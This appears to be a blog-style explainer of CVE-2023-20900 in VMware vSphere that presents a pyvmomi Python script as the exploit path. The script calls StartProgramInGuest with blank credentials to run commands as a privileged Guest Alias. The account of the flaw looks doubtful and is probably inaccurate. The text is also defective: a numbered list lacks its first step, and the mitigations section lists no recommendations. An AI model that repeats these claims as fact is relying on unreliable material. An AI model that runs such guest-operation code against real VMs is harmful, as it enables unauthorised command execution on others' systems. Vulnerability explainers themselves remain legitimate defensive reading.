In early 2023, a serious security issue (CVE-2023-20900) was discovered in VMware vSphere that could let an attacker with “Guest Operation Privileges” inside a virtual machine (VM) gain far more power than intended. If the VM is configured with a higher privileged Guest Alias, an attacker could use this flaw to escalate their access—potentially leading to a full compromise of the target VM.

This post breaks down the vulnerability using simple language, shows you step-by-step how the attack could happen (with code snippets), and links to official VMware documentation and references.

What Are Guest Operation Privileges in VMware?

In vSphere, “Guest Operation Privileges” let certain users or processes inside the VM interact with the virtual machine guest OS—for example, executing programs, moving files, or managing processes—from outside the VM, via vSphere APIs.

As explained in the VMware documentation:

> “The guest operations privilege set lets a user interact with the guest operating system inside a virtual machine.”

What Are Guest Aliases?

Guest Aliases are a vSphere feature that allows mapping of vSphere users or processes to specific user accounts inside the guest OS. This is managed with the vim.vm.guest.AliasManager interface.

Example use-case: You want your backup service (running under a specific vSphere identity) to back up files as an administrator inside Windows VMs, so you assign a privileged Guest Alias to that service.

The Vulnerability

Here’s the core problem:  
If a user or process already has “Guest Operation Privileges”—even if those are meant to be limited—they can escalate their access inside the VM if the VM has a more privileged Guest Alias set up.

This is because the guest operation APIs don’t always enforce tight restrictions on which guest account gets mapped when executing commands or transferring files. With crafty use of public APIs and an assigned Guest Alias, an attacker could “borrow” more power than intended.

Attacker logs in to vSphere and has Guest Operation Privileges on a VM.

2. That VM has a Guest Alias assigned to a privileged VM account (like “Administrator” on Windows).
3. Using APIs, the attacker tricks vSphere into launching code inside the VM as the privileged account.

Exploit Steps with Example Code

Below is a simplified example (Python, using pyvmomi) to show the attack path. Suppose you already have access to vSphere as a user with “Guest Operation Privileges.”

from pyVim.connect import SmartConnect, Disconnect
from pyVmomi import vim
import ssl

# Connect to vSphere
context = ssl._create_unverified_context()
si = SmartConnect(host="your-vcenter-server", user="your-username", pwd="your-password", sslContext=context)

# Find the target VM by name
content = si.RetrieveContent()
vm = next(vm for vm in content.viewManager.CreateContainerView(
    content.rootFolder, [vim.VirtualMachine], True).view if vm.name == "TargetVM")

# Prepare Guest Authentication info (empty password: rely on Guest Alias!)
cred = vim.vm.guest.NamePasswordAuthentication(username='', password='')

# Prepare a command to execute as the Guest Alias account (e.g., 'whoami' or 'net user administrator')
prog_spec = vim.vm.guest.ProcessManager.ProgramSpec(
    programPath="cmd.exe",
    arguments="/c whoami"
)

# Start the process
pm = si.content.guestOperationsManager.processManager
pid = pm.StartProgramInGuest(vm, cred, prog_spec)

print(f"Started process with PID: {pid}")

# Cleanup
Disconnect(si)

What’s happening here?

- You intentionally leave username blank in NamePasswordAuthentication, but with “Guest Operation Privileges,” the underlying vSphere API might map your request to the highest-privileged Guest Alias (e.g., “Administrator”).
- If the VM has an alias for “Administrator” assigned, your code ends up running as admin—regardless of the intended least-privilege separation.

Impact

- Privilege Escalation: Anyone with “Guest Operation Privileges” can execute commands or transfers as a privileged user.
- Full VM Compromise: If malicious code runs as “Administrator” (Windows) or “root” (Linux), the attacker can gain total control inside the VM.
- Lateral Movement & Persistence: Attackers can install rootkits, exfiltrate data, or move laterally across more VMs if aliases or privileges are reused.

Mitigations

VMware has released security advisories and fixes for CVE-2023-20900 (VMware Advisory VMSA-2023-0022). Key recommendations:

More Resources

- Official VMware Security Documentation
- VMware vSphere API Guest AliasManager Documentation
- VMware Security Advisory VMSA-2023-0022
- pyvmomi (Python SDK for vSphere)

Conclusion

CVE-2023-20900 is a wake-up call for all organizations using vSphere Guest Operations and Guest Aliases. Even well-intentioned privilege assignments can open the door for attacks if not rigorously managed and patched. Always follow the principle of “least privilege,” keep your VMware environment updated, and audit your guest operation privileges and guest aliases regularly.

Timeline

Published on: 08/31/2023 10:15:00 UTC
Last modified on: 09/06/2023 13:37:00 UTC